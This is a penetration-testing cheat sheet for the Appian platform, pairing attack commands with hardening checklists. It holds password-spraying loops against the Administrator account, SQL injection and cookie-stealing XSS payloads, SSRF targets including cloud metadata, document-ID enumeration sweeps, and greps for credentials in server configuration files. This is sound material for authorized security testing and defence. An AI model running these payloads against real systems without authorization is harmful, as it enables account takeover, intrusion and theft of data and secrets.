Appian Pentesting Cheat Sheet

Disclaimer — Authorized testing only. Appian Cloud tenants require written approval from Appian before any testing (KB-1447). On-prem/self-managed is the customer's call. Replace <PLACEHOLDERS>; <T> = https://<host> (Appian lives under /suite/).

Table of Contents

  1. Architecture & Attack Surface
  2. Tooling Setup
  3. Recon & Fingerprinting
  4. Endpoint Map
  5. Authentication Attacks
  6. SAIL UI Request Tampering (the Appian-specific attack)
  7. Authorization: Records, Documents, Processes
  8. Web APIs & Integrations
  9. Injection: SQL via Query Rules, XSS, SSRF
  10. File Upload & Download
  11. Designer & Admin Console Abuse
  12. Post-Exploitation: Self-Managed Host
  13. Appian RPA & Process Mining
  14. Hardening Checklist
  15. Quick Reference
  16. CVEs & Advisories
  17. References

1. Architecture & Attack Surface

Appian = Java (Tomcat) web tier + proprietary engines (K-based, in-memory) + data server + Kafka/ZooKeeper + Elasticsearch ("search server") + RDBMS (MariaDB/MySQL, PostgreSQL, SQL Server, Oracle). Apps are built from objects: interfaces (SAIL), expression rules, process models, record types, Web APIs, integrations, connected systems, data stores, documents (knowledge centers/folders), groups.

ComponentPort(s)ExposureWhy you care
Web app (Tomcat)8080 / 8443 (often fronted on 443)ExternalEverything under /suite/
Engines (process exec/analytics, content, portal, etc.)5000–5099Internal onlyProprietary protocol; exposed = misconfig, DoS/data risk
Data server5400–5402Internal onlyRecord data; CVE-2007-6509 era DoS on 5400 (ancient BPM Suite)
Kafka / ZooKeeper9092 / 2181Internal onlyUnauth Kafka = read process/event messages
Search server (Elasticsearch)9300–9301 (transport), 9200 (HTTP, if enabled)Internal onlyUnauth ES = dump indexed record/news data
RDBMS3306 / 5432 / 1433 / 1521Internal onlyAppian schema + business data stores
Appian RPA console443 (separate host/path /rpa/)VariesRobot credentials, remote execution

Deployment types: Appian Cloud (<tenant>.appiancloud.com, multi-tenant, patched by Appian — scope is the customer's app, not the platform), self-managed (on-prem/VPC — platform version often lags; everything in §12 applies), Appian Government Cloud.

Attack surface in order of payoff:

  1. App-level authorization (record/document/process security) — the bug class that is always there.
  2. SAIL request tampering — hidden/disabled fields, saveInto abuse.
  3. Custom Web APIs / integrations — auth gaps, SSRF, injection in designer-written queries.
  4. Admin Console / Designer reachability by normal users.
  5. Platform version CVEs + third-party libs (self-managed).

2. Tooling Setup

# Burp with these match/replace helpers for Appian's typed-value JSON
#   Content-Type: application/vnd.appian.tv+json      (requests)
#   Accept: application/vnd.appian.tv.ui+json          (SAIL UI responses)
# Extensions worth loading: Autorize (authz diffing), Param Miner, JSON Web Tokens

# ffuf / feroxbuster for /suite/ discovery
go install github.com/ffuf/ffuf/v2@latest
# Appian-specific wordlist seed (add to SecLists runs)
cat > /tmp/appian.txt <<'EOF'
suite
suite/tempo
suite/sites
suite/design
suite/admin
suite/portal
suite/webapi
suite/rest/a
suite/doc
suite/plugins
suite/auth
suite/saml
suite/oauth
suite/health-check
suite/static
suite/api
suite/logs
rpa
EOF

# Python for scripted Web API / UI calls
pip3 install requests jwt

3. Recon & Fingerprinting

# Is it Appian? Login page + cookies give it away
curl -skI <T>/suite/ | grep -iE 'location|set-cookie|server|x-'
# Look for: JSESSIONID, __appianCsrfToken, __appianMultipartCsrfToken, redirect to /suite/auth?appian_environment=tempo

# Version — check HTML/JS of the login page
curl -sk <T>/suite/ | grep -oiE 'appian[^"<>]{0,40}([0-9]{2}\.[0-9])|version[^"<>]{0,20}[0-9]{2}\.[0-9]' | head
curl -sk <T>/suite/auth?appian_environment=tempo | grep -oE '[0-9]{2}\.[0-9](\.[0-9]+)?' | sort -u
# Static asset paths often embed the release (e.g. /suite/tempo/ui/sail-client/<build>/)
curl -sk <T>/suite/ | grep -oE '/suite/[a-z/]+/sail-client/[^/"]+' | head -3

# Cloud vs self-managed
dig +short <HOST>                     # appiancloud.com CNAME / AWS = Appian Cloud
curl -skI <T>/suite/ | grep -iE 'via|x-amz|cloudfront|akamai'
# Self-managed usually shows raw Tomcat/Apache headers, custom TLS, non-standard ports

# Health check (self-managed; often unauthenticated) — verify presence
curl -sk <T>/suite/health-check

# Directory discovery
ffuf -u <T>/FUZZ -w /tmp/appian.txt:FUZZ -mc 200,301,302,401,403
ffuf -u <T>/suite/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,301,302,401,403 -fs 0

# Sites (public-facing app portals). Each site = /suite/sites/<site-url-stub>
ffuf -u <T>/suite/sites/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,302 -fc 404

# Portals (Appian Portals = public, unauthenticated apps on a separate hostname/path) — note: these are
# explicitly meant for anonymous users; every data call behind them runs as a service account → high value
# Username enumeration — login error differences
curl -sk -X POST <T>/suite/auth?appian_environment=tempo \
  -d 'un=<USER>&pw=wrong&spring_security_remember_me=on' -i | grep -iE 'location|error'
# Compare valid vs invalid username responses/timing. Also: password-reset flow, SAML IdP-initiated errors.

# Authenticated user directory (people picker / user REST) — enumerate everyone
curl -sk -b '<COOKIES>' -H 'Accept: application/json' '<T>/suite/rest/a/user/latest/suggest?q=a'   # verify exact path per version

4. Endpoint Map

PathWhat it isTest for
/suite/ → /suite/tempoTempo (news, tasks, records, reports, actions)Default landing; info leak via News feed, record lists
/suite/sites/<stub>Sites (role-specific portals)Reach sites you're not in a group for
/suite/designAppian Designer (app building)403 for normal users is correct; 200 = user is a designer → §11
/suite/adminAdmin ConsoleMust be System Administrator only
/suite/portalLegacy portal UI (older versions)Old UIs, old bugs
/suite/webapi/<name>Custom Web APIs built in the appAuth (API key / basic / session), injection, IDOR
/suite/rest/a/<svc>/latest/...Internal REST used by SAIL UI (uicontainer, record, sites, applications, content, user, tasks, process)Tamper here — §6
/suite/doc/<docId> and /suite/doc/<docId>/<filename>Document download by numeric IDIDOR — §7, §10
/suite/tempo/records/type/<uuid>/view/allRecord type listRecord-level security
/suite/tempo/records/item/<opaque-id>/view/summarySingle recordEncrypted ID — still test cross-user
/suite/tempo/actionsStart process models (actions)Actions visible/startable without proper group?
/suite/tempo/tasksTask inboxTask reassignment / claim tasks not yours
/suite/tempo/reportsProcess reportsReport security often broader than data security
/suite/plugins/servlet/<plugin>Plug-in provided servlets (custom Java)Often unauthenticated by design; custom code bugs
/suite/saml/..., /suite/oauth/...SSO endpointsStandard SAML/OIDC tests
/suite/api/...Misc platform APIs (varies)Enumerate
/suite/health-checkHealth check servlet (self-managed)Info disclosure

5. Authentication Attacks

# Local login POST (Appian native auth). CSRF token cookie is set on GET.
curl -sk -c cj -b cj <T>/suite/ >/dev/null
curl -sk -c cj -b cj -X POST '<T>/suite/auth?appian_environment=tempo' \
  --data-urlencode 'un=<USER>' --data-urlencode 'pw=<PASS>' -d 'spring_security_remember_me=on' -i | grep -iE 'location|set-cookie'
# 302 → /suite/tempo = success. Then every request needs:  -b cj  and  -H "X-APPIAN-CSRF-TOKEN: $(grep __appianCsrfToken cj | awk '{print $7}')"

# Default / weak accounts
#   Administrator  (the install-time system admin — the account that always exists; try common passwords)
#   service accounts for integrations (often named *.svc / integration / api) with API keys that never expire
# Lockout: Admin Console → Authentication → "Lock out after N attempts" — probe with 1 req/s to find the policy before spraying
for p in Password1 Welcome1 Summer2026 Appian123; do curl -sk -X POST '<T>/suite/auth?appian_environment=tempo' --data-urlencode "un=Administrator" --data-urlencode "pw=$p" -o /dev/null -w "$p %{http_code} %{redirect_url}\n"; done

# Session
#   JSESSIONID (Tomcat) + __appianCsrfToken. Check: regenerated on login? invalidated on logout (/suite/logout)? timeout (Admin Console default is long)?
curl -sk -b 'JSESSIONID=<OLD>' <T>/suite/rest/a/user/latest/me -i | head -3     # reuse after logout

# "Remember me" (spring_security_remember_me) → long-lived token cookie; test theft/replay

# SAML (Admin Console → Authentication → SAML). Standard checks:
#   - IdP-initiated SSO accepted? unsigned assertions? signature wrapping? audience/recipient checks?
#   - NameID mapping: can an IdP user claim an Appian username (admin) by NameID? (email vs username mapping)
#   - Local login still enabled alongside SAML? (/suite/?signin=native  or  /suite/auth?appian_environment=tempo direct)
curl -sk '<T>/suite/?signin=native' -i | grep -iE 'location|un='
# SAML metadata
curl -sk <T>/suite/saml/metadata

# OAuth/OIDC for Web APIs (Admin Console → Web API Authentication): check token audience, expiry, scope

6. SAIL UI Request Tampering

SAIL interfaces are server-rendered. Every click POSTs a typed-value JSON to /suite/rest/a/uicontainer/latest/... (or sites/records equivalents) carrying the component's #t (type) and #v (value) plus an opaque UI state. Disabled, read-only and hidden components are enforced only client-side unless the designer validates in the expression. Everything a user could have entered, you can POST.

POST /suite/rest/a/uicontainer/latest/<uuid>/... HTTP/1.1
Host: <host>
Cookie: JSESSIONID=...; __appianCsrfToken=...
X-APPIAN-CSRF-TOKEN: <token>
Content-Type: application/vnd.appian.tv+json
Accept: application/vnd.appian.tv.ui+json

{"#t":"Dictionary","#v":{"action":"ui","uiState":"...","saveInto":"<componentRef>","value":{"#t":"Text","#v":"TAMPERED"}}}
# Workflow
# 1. Proxy a normal form submit; find the "#v" for each field in the request.
# 2. Replay with values for fields that were disabled/readOnly/hidden in the UI (price, status, approver, ownerId, role).
# 3. Change types: Text → Integer, Integer → List, add keys the dictionary didn't have → error-message info leaks + logic bypass.
# 4. Record-action forms: the record ID is in the URL/state — swap it (horizontal privesc, §7).
# 5. Multi-step wizards: skip steps by replaying the final submit action with its uiState.

# Typical wins
#   - "approve" button hidden for non-managers but the process variable `approved` is saved from a field you can POST → self-approval
#   - a!dropdownField choiceValues filtered client-side; POST a value outside the list
#   - a!textField with validations in the interface only (no rule-level validation) → oversize/format bypass
#   - saveInto writing to a process variable / rule input later used in a!queryEntity filter → §9 injection

# Dynamic links / record actions can be invoked directly:
#   GET /suite/tempo/records/item/<id>/view/<dashboard>   — try other users' <id>s (opaque but copyable from shared links/emails)
#   Start-process links: /suite/tempo/actions/item/<uuid> — invoke actions not shown in your Actions tab

7. Authorization: Records, Documents, Processes

Appian authorization is group-based per object: record types (record-level security = expression evaluating to a group or rule), documents (folder/knowledge-center security), process models (initiator/viewer/manager), interfaces, reports. Designers get this wrong constantly.

# --- Records ---
# Enumerate record types you can see (Tempo → Records). Then for each: list all, filter, export.
# Test: record-level security absent → every row visible; present but based on rule input you control → bypass via §6.
curl -sk -b cj -H 'Accept: application/vnd.appian.tv.ui+json' '<T>/suite/tempo/records/type/<uuid>/view/all'
# Record "Export to Excel/CSV" (Tempo UI) → dumps the whole record set regardless of UI paging; check security on the export.
# Related record fields: a record you may view can expose related records you may not (dashboards render related data).

# --- Documents (IDOR) ---
# Document IDs are sequential integers. Download endpoint:
curl -sk -b cj -o /dev/null -w '%{http_code}\n' '<T>/suite/doc/<DOC_ID>'
curl -sk -b cj '<T>/suite/doc/<DOC_ID>/' -D - -o /tmp/doc.bin | grep -iE 'content-disposition|content-type'
# Enumerate: iterate a range; 200 = you can read it. Compare as two users (Autorize). Folder "Viewer" on a parent
# knowledge center is inherited → one over-broad group grants all uploaded files (ID scans, contracts, payslips).
for i in $(seq <START> <END>); do c=$(curl -sk -b cj -o /dev/null -w '%{http_code}' "<T>/suite/doc/$i"); [ "$c" = 200 ] && echo "$i"; done
# Document metadata via content REST (name/size/uploader) — enumerate without downloading
curl -sk -b cj -H 'Accept: application/json' '<T>/suite/rest/a/content/latest/<DOC_ID>'     # verify path for version

# --- Process models / tasks ---
# Tasks: /suite/tempo/tasks — can you open/accept/complete a task assigned to another user or group? Task IDs in URL.
# Process start forms exposed as "actions": start an action you're not a member for by direct URL (above).
# Process instance data: reports (Tempo → Reports) built on process analytics frequently show PVs of all instances.
# Process "manager" rights → cancel/modify other users' instances; check who is Process Model admin.

# --- Groups ---
# Group membership is the authorization primitive. Find over-broad groups: "All Users", "Appian Users" as Viewer/Editor on anything.
# Can a user manage group membership (Group Administrator)? Adding yourself to "Managers" = vertical privesc.

8. Web APIs & Integrations

Web API objects are HTTP endpoints written in SAIL by the designer: <T>/suite/webapi/<endpoint>. Auth is via API key (Appian-API-Key: <key> header, tied to a service account), HTTP Basic (user creds), or an active session cookie — whatever the Admin Console allows. The handler runs with the calling user's rights… unless the designer wrapped it in a!startProcess / a process running as a privileged initiator, which is common.

# Discover Web APIs — brute-force, JS/docs leaks, Swagger-like docs are not auto-generated
ffuf -u <T>/suite/webapi/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc all -fc 404
# Try each auth mode
curl -sk <T>/suite/webapi/<ep>                                   # unauthenticated → should be 401
curl -sk -u '<USER>:<PASS>' <T>/suite/webapi/<ep>
curl -sk -H 'Appian-API-Key: <KEY>' <T>/suite/webapi/<ep>
curl -sk -b cj -H 'X-APPIAN-CSRF-TOKEN: <tok>' <T>/suite/webapi/<ep>  # session — CSRF-able if no token check on state-changing APIs
# Method tampering
for m in GET POST PUT PATCH DELETE OPTIONS; do curl -sk -X $m -o /dev/null -w "$m %{http_code}\n" -H 'Appian-API-Key: <KEY>' <T>/suite/webapi/<ep>; done

# Inputs: query params, headers, body → all land in the SAIL expression as http!request.queryParameters / .headers / .body
#   - IDOR on any id param (the API's lookup is usually a!queryEntity on your id)
#   - Mass assignment: body keys that map to record fields/process vars the designer didn't expect
#   - Injection: see §9 (query rules / HTTP integrations built from input)
# API keys: never expire by default; leaked in client JS, mobile apps, Postman collections, git. Key → service account with
#   whatever groups the admin gave it (often "Administrator" for convenience). Test: what can the key's service account see?
curl -sk -H 'Appian-API-Key: <KEY>' -H 'Accept: application/json' <T>/suite/rest/a/user/latest/me   # who am I

# --- Integrations / Connected Systems (outbound) ---
# a!httpQuery() / Integration objects: if the URL, path or a header is built from user input → SSRF to internal services,
# cloud metadata (self-managed in AWS/Azure), Kafka/ES/engines on localhost. Look for "URL" or "host" style inputs.
# Connected system credentials (basic/OAuth client secret/API keys) are stored encrypted but are *usable* by any designer
# who can call the integration — and may be logged in the Integration "Test Request" output.

9. Injection: SQL via Query Rules, XSS, SSRF

# --- SQL injection ---
# Appian's own queries (a!queryEntity, a!queryRecordType, Query Database smart service) are parameterized —
# EXCEPT when a designer concatenates SQL in "Query Database" (Execute Stored Procedure / raw SQL node) or builds
# a!queryFilter value with user text into a LIKE/contains against a data store entity. Test every search box:
'  "  \  %'  ' OR '1'='1  ' AND SLEEP(5)--      (MariaDB/MySQL)   ' AND pg_sleep(5)--   (PostgreSQL)   ';WAITFOR DELAY '0:0:5'--  (MSSQL)
# Error pages often leak the data store entity / column names ("APN_..." internal tables = Appian schema itself).

# --- XSS ---
# a!richTextDisplayField renders designer-controlled rich text; user-supplied HTML is escaped UNLESS the designer
# used an HTML-rendering component or a plug-in field. Test every field that re-renders stored input (comments, names,
# record titles in News/Tasks). Payloads also fire in email templates (a!sendEmail with htmlBody from input) → email HTML injection.
<img src=x onerror=alert(document.cookie)>
# a!webContentField / a!documentViewerField: iframe/content from a user-controlled URL → clickjacking, open-redirect, phishing inside the app chrome.
# Check CSP / X-Frame-Options on /suite/ (self-managed often missing).
curl -skI <T>/suite/tempo | grep -iE 'content-security|x-frame|x-content-type'

# --- SSRF ---
# Any integration where host/path/header comes from input (§8). Also a!webContentField(source: <url>) is client-side (not SSRF),
# but document import nodes, "Call Web Service" (SOAP) smart services, and the Integration "Test" button are server-side.
http://127.0.0.1:9200/_cat/indices        # Elasticsearch search server (self-managed)
http://127.0.0.1:5400/                    # data server
http://169.254.169.254/latest/meta-data/  # cloud metadata (self-managed in AWS)

# --- Expression/SAIL injection ---
# User input is data, not code — true "SAIL injection" requires the designer to eval() input, which isn't possible in SAIL.
# What IS possible: input flowing into a!dynamicLink saveInto targets, into process variable names used by a!forEach key lookups,
# or into rule inputs used as group references (e.g. a!groupMembers(input)) → authorization bypass, not code exec.

10. File Upload & Download

a!fileUploadField posts multipart to a temp upload endpoint; the file moves to the target folder only on submit. Interface validations are expression-level, so also test the platform-wide setting.

# Replay the upload captured in Burp (path varies by version) with the multipart CSRF token
MP=$(grep __appianMultipartCsrfToken cj | awk '{print $7}')
# Extension bypasses: accepted .html/.svg/.exe/.docm = allow-list missing or weak
for f in x.html x.svg x.HTML x.pdf.html x.docm x.exe; do cp test.pdf "/tmp/$f"; curl -sk -b cj -H "X-APPIAN-CSRF-TOKEN: $MP" \
  -F "file=@/tmp/$f;type=application/pdf" -o /dev/null -w "$f %{http_code}\n" '<T><UPLOAD_PATH>'; done
# MIME vs extension: HTML body named .pdf; later served inline as text/html = stored XSS
printf '<script>alert(document.domain)</script>' > /tmp/x.pdf
curl -sk -b cj -H "X-APPIAN-CSRF-TOKEN: $MP" -F "file=@/tmp/x.pdf;type=text/html" '<T><UPLOAD_PATH>' -i | head

Also: an oversized file accepted means no server-side cap (agree DoS-style tests first). Macro Office files shared to other users are phishing from a trusted domain. Hardening: Use a restrictive allow-list in Admin Console → File Upload (verify name) and enforce size/type again in the process.

# Bad: "inline" + text/html or image/svg+xml on user uploads, or no nosniff
curl -sk -b cj -D - -o /dev/null '<T>/suite/doc/<DOC_ID>/<NAME>' | grep -iE 'content-disposition|content-type|x-content-type-options'
# Sweep IDs, print disposition/type of every readable doc
for i in $(seq <START> <END>); do h=$(curl -sk -b cj -D - -o /dev/null "<T>/suite/doc/$i"); echo "$h" | grep -q ' 200' && \
  echo "$i $(echo "$h" | grep -iE 'content-(disposition|type)' | tr -d '\r' | tr '\n' ' ')"; done
# Old versions: a pre-redaction version still served = data leak
curl -sk -b cj -o /dev/null -w '%{http_code}\n' '<T>/suite/doc/<DOC_ID>?version=<N>'   # (verify param)

Upload the EICAR string to test malware scanning: 200 means Admin Console → Malware Scanning (verify name) is off. Folder security is inherited from the knowledge center (§7). Hardening: Serve uploads as attachment with nosniff, turn on malware scanning, and purge sensitive old versions.


11. Designer & Admin Console Abuse

# Normal user / API-key account: 200 = finding; 302 to login or 403 = OK
for p in /suite/design /suite/admin; do curl -sk -b cj -o /dev/null -w "$p %{http_code} %{redirect_url}\n" "<T>$p"; done
curl -sk -H 'Appian-API-Key: <KEY>' -o /dev/null -w '%{http_code}\n' '<T>/suite/design'

A designer can:

  • Call any integration or connected system using its stored credentials.
  • Run a!queryEntity on any data store, which bypasses record-level security.
  • Set a process model to run as a privileged initiator.
  • Change folder security to read every document, or export whole applications.
  • Publish unauthenticated Web APIs and deploy plug-ins where permitted (→ §12).

Hardening: Production should have no day-to-day designers. Keep the Designers group (verify) small and give service accounts no Designer rights.

Admin Console areaCheck
AuthenticationSAML/LDAP/OAuth, native login still on, lockout, password policy, session timeout
Web API Authentication / API KeysKeys, owning service account, last used, no expiry
File Upload / Malware Scanning§10
Plug-insInventory + versions; each is custom Java
Data Sources / Third-Party CredentialsStored DB and plug-in secrets
Health Check, LogsEnabled, who can view or download
Users & groupsSystem Administrators, Designers, group administrators
# Plug-ins page reachable by a non-System-Administrator = arbitrary Java on the host (critical); confirm, do not upload
curl -sk -b cj -o /dev/null -w '%{http_code}\n' '<T>/suite/admin/plugins'   # (verify path)
# Current user's identity/type
curl -sk -b cj -H 'Accept: application/json' '<T>/suite/rest/a/user/latest/me'   # (verify fields)
# Group membership: Designer → Groups → Members, or (designer) a!groupMembers(group: cons!<GROUP>, direct: false)

Hardening: Keep a named, audited System Administrator list and retire the install-time Administrator from daily use.


12. Post-Exploitation: Self-Managed Host

What to inventory with a shell or file read. It doubles as the defender's file-permission list.

# Find APPIAN_HOME from JVM args
ps aux | grep -E 'appian|catalina' | grep -oE '\-D[a-zA-Z.]*(home|base)=[^ ]+' | sort -u
# custom.properties: DB, SMTP, LDAP secrets; world-readable = finding
grep -nEi 'pass|secret|key|jdbc|smtp|ldap' <APPIAN_HOME>/conf/custom.properties
cat <APPIAN_HOME>/conf/appian-topology.xml                     # every engine/data-server/Kafka/search host:port
ls -la <APPIAN_HOME>/conf/ | grep -Ei 'passw|sec|key|encr'       # passwords.properties / encryption key (verify names)
# Tomcat datasources and TLS keystore
grep -A8 -i '<Resource' <APPIAN_HOME>/tomcat/apache-tomcat/conf/Catalina/localhost/suite.xml   # appian.xml on some installs (verify)
grep -nE 'keystore|Pass' <APPIAN_HOME>/tomcat/apache-tomcat/conf/server.xml
# login-audit.csv: every username, IP, success/fail
tail -n 20 <APPIAN_HOME>/logs/login-audit.csv
# Raw documents and plug-ins on disk skip all folder security
ls <APPIAN_HOME>/_admin/ <APPIAN_HOME>/_admin/plugins   # accdocs*, shared, models (verify per version)

Encrypted values in custom.properties are decryptable with key material in conf/ on the same box (verify mechanism per version).

# Bad: engines/data server/Kafka/ZK/search bound to 0.0.0.0
ss -ltnp | grep -E ':(50[0-9]{2}|540[0-2]|9092|2181|9200|9300)\b'
# Unauthenticated locally: index list / topic list / ZK stat answered = no auth
curl -s 'http://127.0.0.1:9200/_cat/indices?v'
kafka-topics.sh --bootstrap-server 127.0.0.1:9092 --list
echo stat | nc 127.0.0.1 2181
# DB with datasource creds (read-only enumeration)
mysql -h <DBHOST> -u <USER> -p'<PASS>' -e 'SHOW DATABASES;'
psql "host=<DBHOST> user=<USER> dbname=<DB>" -c '\dt'
# AWS-hosted: instance role creds without token = IMDSv1 enabled
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/

Hardening: Restrict conf/, _admin/, logs/ and Tomcat conf/ to the service account. Bind internal services to localhost or a firewalled VLAN. Move secrets to a secrets manager and enforce IMDSv2.


13. Appian RPA & Process Mining

Appian RPA has its own console, which controls agents on Windows/Linux resources. Robots run as the OS user on that machine.

# Any Appian user reaching the console = finding
curl -sk -b cj -o /dev/null -w '%{http_code} %{redirect_url}\n' '<T>/rpa/'   # (verify path)
# On a resource: agent config holding console URL and credentials; world-readable = finding
grep -rniE 'token|pass|secret|console' "<AGENT_DIR>" 2>/dev/null   # (verify file names)
  • Credentials store: check who can view, edit or use each entry. Anyone who can edit a robot that uses a credential can exfiltrate it.
  • Robotic process edit rights: these mean code execution on every agent machine.
  • Agent registration: should require an admin, and agents should use TLS to the console.

Process Mining import connectors store DB credentials and SQL. Check who can edit them, whether the accounts are read-only, and who can see the imported PII. Hardening: Use named groups for RPA/Mining roles, least-privilege robot and connector accounts, and agent configs readable only by the agent user.


14. Hardening Checklist

Platform

  • Supported release, hotfixes applied promptly, Security KB subscribed; no EOL self-managed installs
  • Plug-ins limited to reviewed AppMarket versions

Authentication

  • SAML/OIDC enforced, MFA at the IdP; native login off except break-glass
  • Lockout, password policy, idle timeout ≤ 30 min, sessions invalidated on logout
  • API keys owned, rotated, unused ones revoked; service accounts least privilege

Authorization

  • Record-level security on every record type, tested as low-priv user
  • Folder/knowledge-center security reviewed; no "All Users" on sensitive content
  • System Administrator and Designer membership reviewed quarterly

Application design

  • Server-side validation for every saveInto
  • No SQL concatenation in Query Database
  • Integrations with fixed URLs; no a!webContentField with user URLs
  • Every Web API requires auth

Files

  • Extension allow-list, malware scanning, attachment + nosniff on downloads

Host (self-managed)

  • Engines/Kafka/ZK/search bound to localhost, firewalled
  • conf/, _admin/, logs/ not world-readable; secrets in a vault; TLS 1.2+, HSTS, CSP

Logging

  • login-audit.csv, Web API logs, Admin Console audit → SIEM
  • Alerts on admin/designer group changes, new API keys, plug-in deploys

15. Quick Reference

PortServiceExposure
443 / 8443 / 8080Web tier /suite/External
5000–5099EnginesInternal
5400–5402Data serverInternal
9092 / 2181Kafka / ZooKeeperInternal
9300 (9200 if enabled)Search serverInternal
3306 / 5432 / 1433 / 1521RDBMSInternal
EndpointOne-liner
Designer/Admincurl -sk -b cj -o /dev/null -w '%{http_code}\n' <T>/suite/admin
Documentcurl -sk -b cj -D - -o /dev/null <T>/suite/doc/<id>
Web APIcurl -sk -H 'Appian-API-Key: <KEY>' <T>/suite/webapi/<ep>
Who am Icurl -sk -b cj -H 'Accept: application/json' <T>/suite/rest/a/user/latest/me
Native logincurl -sk -i '<T>/suite/?signin=native' | grep -i location
Header / cookieUse
Content-Type: application/vnd.appian.tv+jsonSAIL request body
Accept: application/vnd.appian.tv.ui+jsonSAIL UI response
X-APPIAN-CSRF-TOKEN= __appianCsrfToken cookie
__appianMultipartCsrfTokenUpload CSRF
Appian-API-KeyWeb API key → service account

Admin Console review: Authentication, Web API Authentication, API Keys, File Upload, Malware Scanning, Plug-ins, Data Sources, Third-Party Credentials, Health Check. On-prem paths: conf/custom.properties · conf/appian-topology.xml · tomcat/apache-tomcat/conf/{server.xml,Catalina/localhost/suite.xml} · logs/login-audit.csv · _admin/plugins

# Host list triage: bad = Designer/Admin returning 200
while read h; do for p in /suite/design /suite/admin; do echo "$h$p $(curl -sk -o /dev/null -w '%{http_code}' "https://$h$p")"; done; done < hosts.txt
# Internal ports open from a non-Appian subnet = finding
nmap -Pn -p 5000-5099,5400-5402,9092,2181,9200,9300 <APPIAN_NODE>

16. CVEs & Advisories

CVEAffectsCheckNotes
CVE-2025-50434Appian 25.3Authenticated user reaches data outside their groups — test §7 flowsIncorrect access control; fixed in later 25.x
CVE-2022-22965 (Spring4Shell)Self-managed with old SpringVersion check; Appian hotfix → Spring 5.3.18+Appian stated not exploitable in-product (KB-2209)
CVE-2021-44228 (Log4Shell)Self-managed, pre-hotfix-Dlog4j2.formatMsgNoLookups, lib version in <APPIAN_HOME>/tomcatHotfix → Log4j 2.17.1 (KB-2204)
CVE-2007-6509BPM Suite 5.6 SP1Port 5400 reachable externallyDoS; museum-grade, but 5400 exposed is still a finding

No Appian product CVE published in 2026 as of 2026-10-29. 2026 KB entries (KB-2370 Cisco ASA, KB-2371 pac4j-jwt CVE-2026-29000) state Appian is not affected. Track: Appian Security KB · OpenCVE – Appian.

Last reviewed: 2026-10-29.

17. References